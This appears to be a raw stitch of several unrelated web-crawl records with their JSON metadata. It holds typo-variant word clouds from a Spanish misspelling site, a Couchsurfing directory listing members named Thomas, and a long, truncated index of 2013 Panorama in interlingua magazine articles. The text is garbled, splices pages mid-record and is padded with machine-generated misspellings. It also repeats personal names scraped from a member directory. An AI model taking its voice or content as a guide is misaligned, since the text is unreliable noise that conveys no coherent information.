albumimoide albumijoide albumihoide albuminiide albuminkide albuminlide albuminpide albumin0ide albumin9ide albuminoude albuminojde albuminokde albuminoode albumino9de albumino8de albuminoise albuminoixe albuminoice albuminoife albuminoire albuminoiee albuminoidw albuminoids albuminoidd albuminoidr albuminoid4 albuminoid3","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.tuspalabras.com\/albuminoixe","date":"2017-01-23T21:04:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560283008.19\/warc\/CC-MAIN-20170116095123-00339-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.4001364708,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"ina_Latn_score\": 0.40013647079467773, \"nld_Latn_score\": 0.08560340106487274, \"fin_Latn_score\": 0.08260589092969894, \"ast_Latn_score\": 0.07960639148950577, \"glg_Latn_score\": 0.07278238981962204, \"ron_Latn_score\": 0.046991631388664246, \"som_Latn_score\": 0.026386583223938942, \"vep_Latn_score\": 0.025182023644447327, \"ekk_Latn_score\": 0.016461649909615517, \"hrv_Latn_score\": 0.013982870616018772, \"arg_Latn_score\": 0.012397591024637222, \"sco_Latn_score\": 0.011087700724601746, \"mlt_Latn_score\": 0.010974380187690258}","num_words":338,"character_repetition_ratio":0.204,"word_repetition_ratio":0.091,"special_characters_ratio":0.143,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":0.437,"perplexity_score":13098.1,"cluster_detection":-1} +{"text":"Alcorboque\n'Alcorboque' se parece a 'alcornoque', ¿Con alcorboque querías decir alcornoque?\nAlcorboque tiene 10 letras\nDefinición de alcornoque aquí\nResultados de búsqueda:\n|Google:||alcorboque|\n|Yahoo:||alcorboque|\n|MSN:||alcorboque|\n|Wikipedia:||alcorboque|\nResultados de imágenes:\n|Google:||alcorboque|\n|Yahoo:||alcorboque|\n|MSN:||alcorboque|\nYoutube: alcorboque\nNube de palabras :\n- alcornoque zlcornoque slcornoque wlcornoque qlcornoque akcornoque apcornoque aocornoque alxornoque alvornoque alfornoque aldornoque alcirnoque alckrnoque alclrnoque alcprnoque alc0rnoque alc9rnoque alcoenoque alcodnoque alcofnoque alcotnoque alco5noque alco4noque alcorboque alcormoque alcorjoque alcorhoque alcornique alcornkque alcornlque alcornpque alcorn0que alcorn9que alcorno1ue alcorno2ue alcornowue alcornoaue alcornoqye alcornoqhe alcornoqje alcornoqie alcornoq8e alcornoq7e alcornoquw alcornoqus alcornoqud alcornoqur alcornoqu4 alcornoqu3","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.tuspalabras.com\/alcorboque","date":"2017-01-23T14:50:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560282932.75\/warc\/CC-MAIN-20170116095122-00233-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.3150555193,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.3150555193424225, \"nah_Latn_score\": 0.16356727480888367, \"ast_Latn_score\": 0.11493588238954544, \"spa_Latn_score\": 0.07313550263643265, \"sco_Latn_score\": 0.06333880871534348, \"cot_Latn_score\": 0.054311543703079224, \"por_Latn_score\": 0.038732241839170456, \"glg_Latn_score\": 0.02275369130074978, \"kal_Latn_score\": 0.012472938746213913, \"chd_Latn_score\": 0.012215789407491684}","num_words":313,"character_repetition_ratio":0.15,"word_repetition_ratio":0.079,"special_characters_ratio":0.159,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":0.307,"perplexity_score":10448.4,"cluster_detection":-1} +{"text":"Alcornlque\n'Alcornlque' se parece a 'alcornoque', ¿Con alcornlque querías decir alcornoque?\nAlcornlque tiene 10 letras\nDefinición de alcornoque aquí\nResultados de búsqueda:\n|Google:||alcornlque|\n|Yahoo:||alcornlque|\n|MSN:||alcornlque|\n|Wikipedia:||alcornlque|\nResultados de imágenes:\n|Google:||alcornlque|\n|Yahoo:||alcornlque|\n|MSN:||alcornlque|\nYoutube: alcornlque\nNube de palabras :\n- alcornoque zlcornoque slcornoque wlcornoque qlcornoque akcornoque apcornoque aocornoque alxornoque alvornoque alfornoque aldornoque alcirnoque alckrnoque alclrnoque alcprnoque alc0rnoque alc9rnoque alcoenoque alcodnoque alcofnoque alcotnoque alco5noque alco4noque alcorboque alcormoque alcorjoque alcorhoque alcornique alcornkque alcornlque alcornpque alcorn0que alcorn9que alcorno1ue alcorno2ue alcornowue alcornoaue alcornoqye alcornoqhe alcornoqje alcornoqie alcornoq8e alcornoq7e alcornoquw alcornoqus alcornoqud alcornoqur alcornoqu4 alcornoqu3","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.tuspalabras.com\/alcornlque","date":"2017-02-27T16:00:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501172902.42\/warc\/CC-MAIN-20170219104612-00242-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.3144399524,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.31443995237350464, \"nah_Latn_score\": 0.1580149382352829, \"ast_Latn_score\": 0.13109879195690155, \"spa_Latn_score\": 0.06440915167331696, \"sco_Latn_score\": 0.05527093634009361, \"cot_Latn_score\": 0.04880751296877861, \"glg_Latn_score\": 0.0410880371928215, \"por_Latn_score\": 0.035405948758125305, \"zul_Latn_score\": 0.01110595092177391}","num_words":313,"character_repetition_ratio":0.15,"word_repetition_ratio":0.079,"special_characters_ratio":0.159,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":0.308,"perplexity_score":11064.5,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Thomas Lawson||thomas Le Bour|\n|Thomas Lawson||Thomas Le Bourdonnec|\n|Thomas Lawson||Thomas Le Bourhis|\n|Thomas Lawson||Thomas Le Bourhis|\n|Thomas Lawson||Thomas Le Bourse|\n|Thomas Lawson||Thomas Le Bris|\n|Thomas Lawton||Thomas LE BRISHOUAL|\n|Thomas Lawyer||Thomas LE BRUN|\n|Thomas Lay||Thomas Le Brun|\n|Thomas Layan||Thomas le Buzulier|\n|Thomas Laycu||thomas le callonnec|\n|Thomas Layssac||Thomas Le Chenadec|\n|Thomas Lazarevic||Thomas Le Chêne|\n|Thomas Lazarus||Thomas Le Chi Thanh|\n|Thomas Lazarus||Thomas Le Colleter|\n|Thomas Laziok||Thomas Le Coq|\n|Thomas Lazzara||Thomas LE COQUIL|\n|Thomas Lazzarevich||Thomas Le Corps|\n|Thomas Lazzarini||Thomas Le Coupanec|\n|Thomas Lazzerini||Thomas Le Coz|\n|Thomas Lbt||Thomas Le Coz|\n|Thomas LC||Thomas LE COZ|\n|Thomas Ld||Thomas LE COZ|\n|Thomas Le||Thomas Le Crouhennec|\n|Thomas Le||Thomas Le Diffon|\n|Thomas Le||Thomas Le Dluz|\n|Thomas Le||Thomas Le Dreff|\n|Thomas Le||Thomas Le Druillenec|\n|Thomas Le||Thomas Le Duc|\n|Thomas Le||Thomas LE FAOU|\n|Thomas Le||Thomas Le Fichant|\n|Thomas Le||THOMAS LE FLANCHEC|\n|Thomas Le||Thomas Le Floc'h|\n|Thomas Le||Thomas LE FLOC'H|\n|Thomas Le||thomas le flochmoen|\n|Thomas Le B||Thomas LE FLOHIC|\n|Thomas Le Baccon||Thomas Le Forestier|\n|thomas Le baccon||Thomas Le Galès|\n|Thomas Le Bars||Thomas Le Gall|\n|Thomas Le Baut||Thomas LE GALL|\n|Thomas Le Berre||Thomas Le Gall|\n|Thomas LE BERRE||THOMAS LE GLOANIC|\n|thomas le bigot||THOMAS LE GLOANIC|\n|Thomas LE BIHAN||Thomas Le gloannec|\n|Thomas Le Bihan||Thomas Le Goff|\n|Thomas Le Bodic||Thomas Le Goff|\n|Thomas Le Bon||Thomas LE GOFF|\n|thomas le bot||Thomas Le Goff|\n|thomas Le Boulch||Thomas LE GOFF|\n|Thomas Le Boulicaut||Thomas Le Goff|","id":"","dump":"CC-MAIN-2017-09","url":"https:\/\/www.couchsurfing.com\/directory\/T-24-27","date":"2017-02-24T11:07:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171463.89\/warc\/CC-MAIN-20170219104611-00274-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.3228140175,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.322814017534256, \"fra_Latn_score\": 0.12641923129558563, \"hat_Latn_score\": 0.06384298950433731, \"tso_Latn_score\": 0.04874054342508316, \"frp_Latn_score\": 0.030922597274184227, \"nap_Latn_score\": 0.02859228476881981, \"enm_Latn_score\": 0.02399318479001522, \"vec_Latn_score\": 0.020514225587248802, \"srd_Latn_score\": 0.019663220271468163, \"ita_Latn_score\": 0.018900929018855095, \"wol_Latn_score\": 0.016977502033114433, \"sme_Latn_score\": 0.016557930037379265, \"smo_Latn_score\": 0.01511481311172247, \"mwl_Latn_score\": 0.014840160496532917, \"nso_Latn_score\": 0.014156191609799862, \"kiu_Latn_score\": 0.011461830697953701, \"lmo_Latn_score\": 0.010819276794791222}","num_words":530,"character_repetition_ratio":0.285,"word_repetition_ratio":0.081,"special_characters_ratio":0.256,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.508,"perplexity_score":38413.8,"cluster_detection":-1} +{"text":"- Pagina principal\n- UMI e interlingua\n- Interlingua pro juniores\n- Libros e litteratura\n- Panorama\n- Servicio de Libros UMI\n- Litteratura in interlingua\n- Dictionarios e cursos\n- Facile a leger in interlingua\n- Grammatica de interlingua\n- Inseniamento\n- Bibliotheca electronic\n- Almanac de interlingua\n- Angulo linguistic\n- Practica interlingua!\n- Films\n- Radio Interlingua\n- Ligamines\n- Mappa del sito\nPanorama in interlingua - indice 2013\n2013-08-07 11:56 Historia\nIste indice monstra le contento del magazin Panorama in interlingua (ISSN 0903-2932) edition post edition.\n\n\nNo. 1\/2013, januario-februario\n|1||Inscribe te pro le conferentia in julio||On debe inscriber se ora pro le 20me conferentia international de interlingua in julio in Germania. Le septimana costa 450 euros. Invia anque propositiones al programma e participa in le promotion del confrentia jubilari.||Copertura|\n|1||Nove conto in interlingua||Un nove conto per H.C. Andersen ha essite trovate. Lege lo in interlingua in Panorama.||Copertura|\n|1||Associato distinguite e veterano ha morite||Interlingua ha perdite le premiato Nobel, James M. Buchanan, e Ronald V. Spathaky.||Copertura|\n|1||Illegalisation total debe salvar animales||Elephantes e rhinocerotes es in grande periculo. Ora le mundo debe reager per un prohibition total.||Copertura|\n|1||Le papa se retira||Benedicto XVI se retira como le prime desde 1415.||Copertura|\n|1||Novas de interlingua||Copertura|\n|1||Otiose non plus||Movimento indigene succute Canada.||Copertura|\n|1||Campania de libros||Copertura|\n|2||Nove energia a interlingua – a revider in julio||Breinstrup, Thomas||Editorial|\n|3+4||Inscribe vos ora pro le conferentia de interlingua in julio||Le inscription pro le 20me conferentia international de interlingua es aperte, e il es anque tempore inviar propositiones motivate pro le sessiones e pro le discursos e presentationes.||Breinstrup, Thomas||Conferentia de interlingua|\n|4||Assiste in promover le 20me conferentia||Le UMI invita membros interessate a collaborar super le promotion public del 20me conferentia international de interlingua in julio.||Th.||Conferentia de interlingua|\n|5||Le papa se retira||Benedicto XVI indica mal sanitate como causa pro retirar se como le prime papa desde 1415.||Breinstrup, Thomas||Nova|\n|5||Timbros con gusto de chocolate||Th.||Nota|\n|6||Tokio perde panorama symbolic||Th.||Nota|\n|6||Terribile unda de calor||Th.||Nota|\n|6||Aeroporto demanda victima||Th.||Nota|\n|6+7||Otiose non plus||Nove movimento ha create un tempesta in Canada demandante labor e assecco al ressources.||Sorfleet, Richard W.||Nova|\n|7||Autos autonome permittite in stratas||Beq||Nova|\n|8+9||Illegalisation total de ebore pote salvar animales african||Post un macellation massive de elephantes in Kenya in januario le WWF dice que Thailanda debe stoppar tote commercio con ebore. Anque rhinocerotes es in periculo de devenir extincte..||Breinstrup, Thomas||Nova|\n|8||11.000 elephantes assassinate||Th.||Nota|\n|9||Botswana prohibi chassa de animales||Chassa commercial essera prohibite in un anno pro conservar le greges.||Breinstrup, Thomas||Nova|\n|9||Chineses arrestate pro contrabanda||Th.||Nota|\n|10+11||Prime associato distinguite del UMI||James M. Buchanan, 3 de octobre 1919-9 de januario 2013.||Yeager, Leland B.||Necrologia|\n|11+12+13||Un ver veterano de interlingua||Ronald Victor Spathaky, 22 de novembre 1914-januario 2013.||Breinstrup, Thomas||Necrologia|\n|13||Nove campanas a Notre Dame||Th.||Nota|\n|14||Humor de Hitler vende ben||Th.||Nota|\n|14||Plancton limita cambios climatic||Th.||Nota|\n|14||Nove conto trovate de H.C. Andersen||Manuscripto del famose danese trovate e ja traducite in interlingua.||Breinstrup, Thomas||Nova|\n|15||Interlingua entra in le bibliothecas||Libros professional in interlingua arriva a universitates in tote le mundo.||Breinstrup, Thomas||Novas de interlingua|\n|16||Nove interlinguista nascite||Novas de interlingua|\n|16||Radio continua grande interview||Novas de interlingua|\n|16||Interlingua in jornal gratuite||Novas de interlingua|\n|17||Holger Andersson 85 annos||Novas de interlingua|\n|17||Kjell Rehnström 75 annos||Novas de interlingua|\n|17||Ingrid Ivarsson 75 annos||Novas de interlingua|\n|17||Sven Berger 75 annos||Novas de interlingua|\n|18||10me edition de enorme dictionario||Th.||Libros|\n|18||Thesauro 2014 sub preparation||Th.||Libros|\n|18||Nove grammatica in portugese||Th.||Libros|\n|19||Mini-anthologia in tres volumines||Th.||Libros|\n|19||Nove publicationes in interlingua||Libros|\n|20||Quiz in interlingua||Madsen, W.||Quiz|\n|20||Interlingua practic||Exercitios e textos||Th.||Interlingua in practica|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Le candela de sebo||Andersen, H.C.||Litteratura|\n|24||Porcos ancora sin cauda||Beq||Le mundo actual|\n|24||Arbores adjuta a fertilitate||Beq||Le mundo actual|\n|24||Primavera silente||Beq||Le mundo actual|\n|24||Cephalopodo mythic filmate||Th.||Le mundo actual|\n|25||Personalitates differe||Beq||Le mundo actual|\n|25||Motivation a laborar||Beq||Le mundo actual|\n|25||Telephonos causa maladias||Beq||Le mundo actual|\n|25||Animal salvage augmenta||Beq||Le mundo actual|\n|25||Temperatura alte influe a animales||Beq||Le mundo actual|\n|26||Sinistre – dextere – o sinistra...?||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Hans Aili||Novas de nomines|\n|28||Yoichi Yamamoto||Novas de nomines|\n|28||Leland B. Yeager||Novas de nomines|\n\n\nNo. 2\/2013, martio-april\n|1||Ultime chance: Le 31 de maio||Inscription pro le 20me Conferentia International de Interlingua in Freiburg, Germania, le 27 de julio-3 de augusto 2013.||Copertura|\n|1||Animales african chassate a morte||Elephantes e rhinocerotes es menaciate per chassatores furtive. Ma ora le governamentos lucta retro e mesmo usa drones pro surveliar le areas.||Copertura|\n|1||Questionario: Face le UMI melior||Le Union Mundial pro Interlingua demanda consilios e opiniones del membros sur cinque continentes pro facer interlingua plus visibile.||Copertura|\n|1||Pecia del Muro de Berlin removite||Cinque metros del muro esseva removite pro dar spatio a appartamentos. Berlin es in choc.||Copertura|\n|1||Multe nove libros||Edgar Allan Poe, Alexander Gode, grammatica, dictionarios – tres paginas con nove libros, le majoritate es gratuite.||Copertura|\n|1||\"Le gigante egoista\" per Oscar Wilde||Novella in interlingua facile.||Copertura|\n|1||Hurrah pro omnes||Copertura|\n|2||Un festa es optime con multe participantes||Breinstrup, Thomas||Editorial|\n|3||Pecias del Muro de Berlin removite||Protestos non impediva que cinque metros pingite del muro esseva removite pro dar spatio a un edificio.||Breinstrup, Thomas||Nova|\n|3||Victoria quasi total pro esser britannic||Solmente quatro sur le Insulas Falkland voleva esser argentinianos.||Th.||Nova|\n|4||Le 31 de maio es le ultime chance||Nove servicio de information es preste a responder a questiones. Invia le inscription conferential rapidemente.||Breinstrup, Thomas||Conferentia de interlingua|\n|5||Investi 30 minutas: Face le UMI melior||Le Union Mundial pro Interlingua demanda consilios e opiniones del membros sur cinque continentes pro facer interlingua plus visibile. Plena le questionario, e adjuta.||Th.||Conferentia de interlingua|\n|6||Commercio al rete menacia elephantes||Un mercato nigre con ebore ha apparite per medio de Internet.||Breinstrup, Thomas||Nova|\n|6||Chassa de chassatores||Beq||Nota|\n|6+7||Kenya intensiva lucta a chassatores||Le sententias e le mulctas debe esser multo plus sever, dice governamento.||Breinstrup, Thomas||Nova|\n|7||India usa drones pro salvar animales||Rar rhinocerotes unicorne es sub protection anque del aere pro le prime vice.||Breinstrup, Thomas||Nova|\n|8||Argentiniano eligite le nove papa||Le nove papa Francisco de 76 annos debe modernisar le ecclesia catholic.||Breinstrup, Thomas||Nova|\n|9||85. Jan \"Janne\" Årmann||Th.||Anniversario|\n|9||85. Ingvar Stenström||Th.||Anniversario|\n|9||80. Ruth Eide Knutson e Åsmund Knutson Aukland||Th.||Anniversario|\n|10||75. Erik Enfors||Th.||Anniversario|\n|10||75. Elly \"Angela\" Engel-van Amersfoort||Th.||Anniversario|\n|11||75. Harleigh Kyson Jr.||Th.||Anniversario|\n|11||40. Jesper Olsson||Th.||Anniversario|\n|12||Sevilla in interlingua, per favor||Novas de interlingua|\n|12||Cerca directemente in le Thesauro||Novas de interlingua|\n|12||Ancora cinque Cartas nordic||Novas de interlingua|\n|13||Multes dava manos al Die de Interlingua||Th.||Novas de interlingua|\n|13||Sempre plus de audio in interlingua||Th.||Novas de interlingua|\n|14||Obtene \"Troll\" gratuitemente||Novas de interlingua|\n|14||Vacantias disturbava daneses||Novas de interlingua|\n|14||Nove consilio in Danmark||Novas de interlingua|\n|14||Ancian membros debe retornar||Novas de interlingua|\n|15||Maladia dispare||Le mosquitos periculose deveni plus rar in Africa – forsan de un maladia.||Beq||Scientia|\n|15||Pomos e piras||Beq||Scientia|\n|16||NASA studia le nive||Humiditate es vital pro le homines.||RS||Scientia|\n|16||Osso de dodo a vender||Th.||Nota|\n|16||Plus de undas de calor||Beq||Nota|\n|17||Dictionario svedese in nove edition||Nordin-Pedersen-Stenström m.fl.: \"Svensk-interlingua ordbok\"||Th.||Libros|\n|17||Nove dictionario de anatomia||Carlos Soreto: \"Vocabulario de anatomia\"||Th.||Libros|\n|17||Edgar Allan Poe in interlingua||Edgar Allan Poe: \"Le Barril de Amontillado\"||Libros|\n|18||Minihistoria del linguas philosophic||Cláudio Rinaldi: \"Minihistoria del linguas philosophic – de Aristotele al Toki Pona\"||Libros|\n|18||Grammatica pro lusophonos||Cláudio Rinaldi: \"Gramática Essencial de Interlingua em Português\"||Libros|\n|19||Un classico de interlingua||Alexander Gode: \"Manifesto de Interlingua\"||Libros|\n|19||Dictionario de synonymos in via||Libros|\n|19||Nove publicationes in interlingua||Libros|\n|20||Quiz in interlingua||Madsen, W.||Quiz|\n|20||Interlingua practic||Films in interlingua||Th.||Interlingua in practica|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Le gigante egoista||Wilde, Oscar||Litteratura|\n|24||Nulle differente precios pro capillos||Th.||Le mundo actual|\n|24||Leucemia curate a puera||Beq||Le mundo actual|\n|24||Scouts debe permitter homophilos||Beq||Le mundo actual|\n|24||Moral duple – ma difficile a tractar||Beq||Le mundo actual|\n|24||Nega le alteration del climate||Beq||Le mundo actual|\n|24||18 absolvite del morte||Beq||Le mundo actual|\n|24||37% contente con lor vita||Beq||Le mundo actual|\n|25||Energia eolic||Beq||Le mundo actual|\n|25||Autobus o auto – le differentia vale||Beq||Le mundo actual|\n|25||Simia incognoscite trovate||Beq||Le mundo actual|\n|25||Joculos esseva valorose||Beq||Le mundo actual|\n|25||Mobilophono migrainose del matre||Beq||Le mundo actual|\n|26||Nulle negation duple||Breinstrup, Thomas||Le parolas del mense|\n|26||Facite de\/per||Breinstrup, Thomas||Le parolas del mense|\n|26||Reprochar – reprimendar||Breinstrup, Thomas||Le parolas del mense|\n|26||\"Su\" in plural es \"lor\"||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Rege Leo III||Novas de nomines|\n|28||Almanac de Interlingua||Novas de nomines|\n|28||Allan Kiviaho||Novas de nomines|\n|28||Marcus Scriptor||Novas de nomines|\n\n\nNo. 3\/2013, maio-junio\n|1||Cerebros creative cultiva interlingua||In poc septimanas comencia le conferentia international de interlingua in Germania – un septimana de inspiration.||Copertura|\n|1||Lingua official no. 24 es addite||Croatia entra le 1 de julio in le Union Europee e apporta ancora un lingua official.||Copertura|\n|1||Le genio in le bottilia||Copertura|\n|1||E-libros – un nove mundo de litteratura||Copertura|\n|1||Lectura facile preste pro Freiburg||Cinque o sex titulos aperi le nove serie con \"Facile a leger in interlingua\". Illos se presenta al conferentia.||Copertura|\n|1||Scotia independente?||Referendum essera arrangiate in septembre 2014.||Copertura|\n|1||Sanguine de mammut pote ducer a clonage||Mammut gelate es si ben conservate per glacie que on ha colligite sanguine de illo.||Copertura|\n|2||Hallo, nos debe esser creative – in commun||Breinstrup, Thomas||Editorial|\n|3||Cerebros creative cultiva interlingua||Le conferentia international de interlingua es un festival de inspiration pro assecurar un uso active plus grande del lingua.||Breinstrup, Thomas||Conferentia de interlingua|\n|3||Presentationes||Conferentia de interlingua|\n|4+5||Première de serie con lectura facile durante conferentia||Tres titulos aperi le nove serie con lectura facile in interlingua que sperabilemente pote facer plus de personas leger libros in le lingua.||Conferentia de interlingua|\n|5||Invia tu salute||Th.||Conferentia de interlingua|\n|5||20 conferentias||Conferentia de interlingua|\n|6+7||Lingua numero 24 addite in le UE||Le 1 julio Croatia essera membro del Union Europee e adde assi ancora un lingua official.||Breinstrup, Thomas||Nova|\n|6||Croatia in factos||Nota|\n|7||Traductiones plus rapide per machina||Costos va diminuer se ab julio.||Th.||Nova|\n|7||Venetia sin naves||Th.||Nota|\n|7||No a episcopos feminin||Beq||Nota|\n|7||Velocitate essera limitate||Beq||Nota|\n|8||Plus de TV nordic||Th.||Nota|\n|8||Le plus vetere ha morite||Th.||Nota|\n|8||Scotia independente a acclarar in 2014||Le referendum essera arrangiate in septembre 2014.||Breinstrup, Thomas||Nova|\n|9||Espaniol superpassa anglese in 2014||Le population hispanophone in le stato California deveni le plus grande.||Breinstrup, Thomas||Nova|\n|9||Plus de linguas in le schola||Th.||Nota|\n|9||Rege serve sepelite de novo||Th.||Nota|\n|9||Population cade a causa del crise||Th.||Nota|\n|10||Scribe completemente in interlingua||Novas de interlingua|\n|10||Interforo ha retornate||Novas de interlingua|\n|11||Brasilianos preste pro labor||Novas de interlingua|\n|11||Canta karaoke in interlingua||Novas de interlingua|\n|11||Nove publicationes in interlingua||Novas de interlingua|\n|11||Mini-incontro german||Novas de interlingua|\n|12||Geographia in interlingua||Novas de interlingua|\n|12||Nove adresse in Brasil||Novas de interlingua|\n|12||Poesia in le radio||Novas de interlingua|\n|12||Derectos human in interlingua||Novas de interlingua|\n|13||Danmark fortifica su position||Novas de interlingua|\n|13||Monumentos in interlingua, gratias||Novas de interlingua|\n|14+15||E-libros – un nove mundo de litteratura||Breinstrup, Thomas||Libros|\n|16||Sanguine de mammut pote ducer a clonage||Un mammut gelate es si ben conservate per le glacie que on ha colligite sanguine de illo.||Breinstrup, Thomas||Scientia|\n|17||Tigre extinguite per ignorantia||Tigre tasmanian esseva eradicate pro proteger le oves. Ma le animal non mangia del toto oves.||Th.||Scientia|\n|17||Fonte le ration pro Stonehenge||Th.||Nota|\n|17||Parolas le plus ancian trovate||Th.||Nota|\n|18||Papa libere secundo lege||Beq||Nota|\n|18||Boscos devastate per guitarras||Beq||Nota|\n|18||Energia solar preferite||Beq||Nota|\n|18||Viros non musculose||Beq||Nota|\n|18||Recerca super juventute eterne||Verme microscopic pote esser le clave a prolongar le vita.||E.A.||Scientia|\n|19||Pomos e piras san||Beq||Scientia|\n|19||Manco de ferro risca causar ADHD||Beq||Scientia|\n|19||Excesso de peso||Beq||Scientia|\n|20||Quiz in interlingua||Madsen, W.||Quiz|\n|20||Interlingua practic||Cursos e dictionarios. Materiales pro le studio||Th.||Interlingua in practica|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Le genio in le bottilia||traduction in interlingua: Onofrio Notarstefano||Litteratura|\n|24||Sustenepectores non adjuta||Th.||Le mundo actual|\n|24||Le \"hobbits\" esseva genuin||Th.||Le mundo actual|\n|24||Nulle sirenas in maio||Th.||Le mundo actual|\n|24||Submarino troppo pesante||Th.||Le mundo actual|\n|25||Paris es le urbe preferite||Th.||Le mundo actual|\n|25||Minus de tempore in caudas||Th.||Le mundo actual|\n|25||\"Fish and chips\" crea electricitate||Th.||Le mundo actual|\n|25||Johannes Paulo II tosto sancto||Th.||Le mundo actual|\n|26||Deber es un deber||Breinstrup, Thomas||Le parolas del mense|\n|26||Aqua mineral con o sin gas||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Martijn Dekker||Novas de nomines|\n|28||Suomen Interlinguayhdistys||Novas de nomines|\n|28||Klavs Neerbek||Novas de nomines|\n|28||Carlos Soreto||Novas de nomines|\n\n\nNo. 4\/2013, julio-augusto\n|1||Facile a leger – e in interlingua||Nove serie debe stimular leger.||Copertura|\n|1||Nos es 10,9 mia. In 2100||Le population del mundo cresce e cresce. Octo nationes constitue le medietate del augmentation.||Copertura|\n|1||Mini-guida a Interforo||Apprende usar le foro pro practicar interlingua – o trovar assistentia a un projecto.||Copertura|\n|1||Mini-conferentia al incontro nordic 2014||Un autumno active attende – forsan con un tote \"Septimana de interlingua\" con projectos commun.||Copertura|\n|1||Le grande natura||Duo attractiones natural in California stupeface.||Copertura|\n|1||Novas de interlingua||Copertura|\n|1||Tuberculose menacia||2,2 milliardos es infectate per le maladia.||Copertura|\n|1||Ebore destruite||Copertura|\n|2||Preste pro le \"septimana de interlingua\"?||Breinstrup, Thomas||Editorial|\n|3||Nos essera 10,9 milliardos in 2100||Octo nationes constitue le medietate del grande augmentation de homines.||Breinstrup, Thomas||Nova|\n|4||\"Facile a leger\" debe stimular interlingua||Le prime tres libros in le nove serie publicate. Plures seque durante le autumno.||Novas de interlingua|\n|5||Assi functiona Facile a leger||Novas de interlingua|\n|5||Dictionario suppletive pro autores||Explicationes e definitiones de quasi 700 parolas pro illes, qui scribe manuscriptos pro le nove serie con libros facile a leger in interlingua.||Novas de interlingua|\n|6||Cinque tonnas de ebore destruite||Post critica international le Philippinas vole clauder le pais como porta del commercio illegal ab Africa.||Breinstrup, Thomas||Nova|\n|7||Active autumno e septimana nordic in vice de conferentia||Incontro nordic cresce a un mini-conferentia. Multe activitates durante le autumno sub planification.||Breinstrup, Thomas||Novas de interlingua|\n|8||Supporto estranier a lingua menaciate||Irlandese obtene supporto de un latere inexpectate, ma ancora le lingua non ha devenite un successo si grande como gallese.||Breinstrup, Thomas||Nova|\n|9||Poemas incognite de Kipling publicate||50 poemas usque ora incognite appare in tres columines.||Th.||Nova|\n|9||Stalingrad retorna – a vices||Th.||Nota|\n|9||Consequentia de Fukushima||Beq||Nota|\n|9||Pueros minus bon in le schola||Beq||Nota|\n|10||Mini-guida deveniva illegibile||Novas de interlingua|\n|10||Dictionarios basic in plure linguas||Novas de interlingua|\n|10||Interlingua radioactive||Novas de interlingua|\n|10||Invitation a Malmö, Roskilde e Nice||Novas de interlingua|\n|11||Cambiamentos in Interforo||Novas de interlingua|\n|11||Le motor de manx moriva||Necrologia: Adrian John Pilgrim||Th.||Necrologia|\n|12||Plus grande indice de Panorama||Novas de interlingua|\n|12||Organisation facile a trovar||Novas de interlingua|\n|12||Un mundo triste sin linguas||Novas de interlingua|\n|12||125 responsas super interlingua||Novas de interlingua|\n|13||Quiz in interlingua||Madsen, W.||Quiz|\n|13||Interlingua practic||Practic signo effective||Th.||Interlingua in practica|\n|14+15||Mini-guida: Active uso de interlingua in Interforo||Rosenmeier, Lars||Novas de interlingua|\n|16||Tuberculose un risco pro sanitate global||2,2 mia. es infectate per le maladia.||Beq||Scientia|\n|16||Aborigines revelate per lor capillos||Le prime humanos veniva a Australia multo plus tosto que a Europa, revela materiales genetic.||Th.||Scientia|\n|17||Radiation de microundas inquieta||Beq||Scientia|\n|17||Autismo e escappamento||Beq||Nota|\n|17||Sin fumo ante operation||Beq||Nota|\n|17||Cata hora un suicidio||Beq||Nota|\n|18||Grande dictionario portugese tosto preste||Carlos Soreto: \"Vocabulário elementar português-interlíngua\"||Th.||Libros|\n|18+19||Corrector orthographic actualisate||Th.||Libros|\n|19||Quatro classicos gratuite||Th.||Libros|\n|19||E-libro con chronicas curiose||Th.||Libros|\n|19||Nove publicationes in interlingua||Libros|\n|20||Duo attractiones in California||On se senti parve in le natura...||Enfors, Erik||Viages|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Manguel||Sandstedt, Åke||Litteratura|\n|24||Lucta contra graffiti de avion||Beq||Le mundo actual|\n|24||Salvation de forestes||Beq||Le mundo actual|\n|24||Radiation de mobile||Beq||Le mundo actual|\n|24||Squalos in zona riscose||Beq||Le mundo actual|\n|24||Vinagre contra cancer||Beq||Le mundo actual|\n|25||Importator le plus grande e oleo||Beq||Le mundo actual|\n|25||Lamas contra lupos||Beq||Le mundo actual|\n|25||Le mysterio del rugas||Beq||Le mundo actual|\n|25||Trainos rapide preferite||Beq||Le mundo actual|\n|25||Vegetation contra criminalitate||Beq||Le mundo 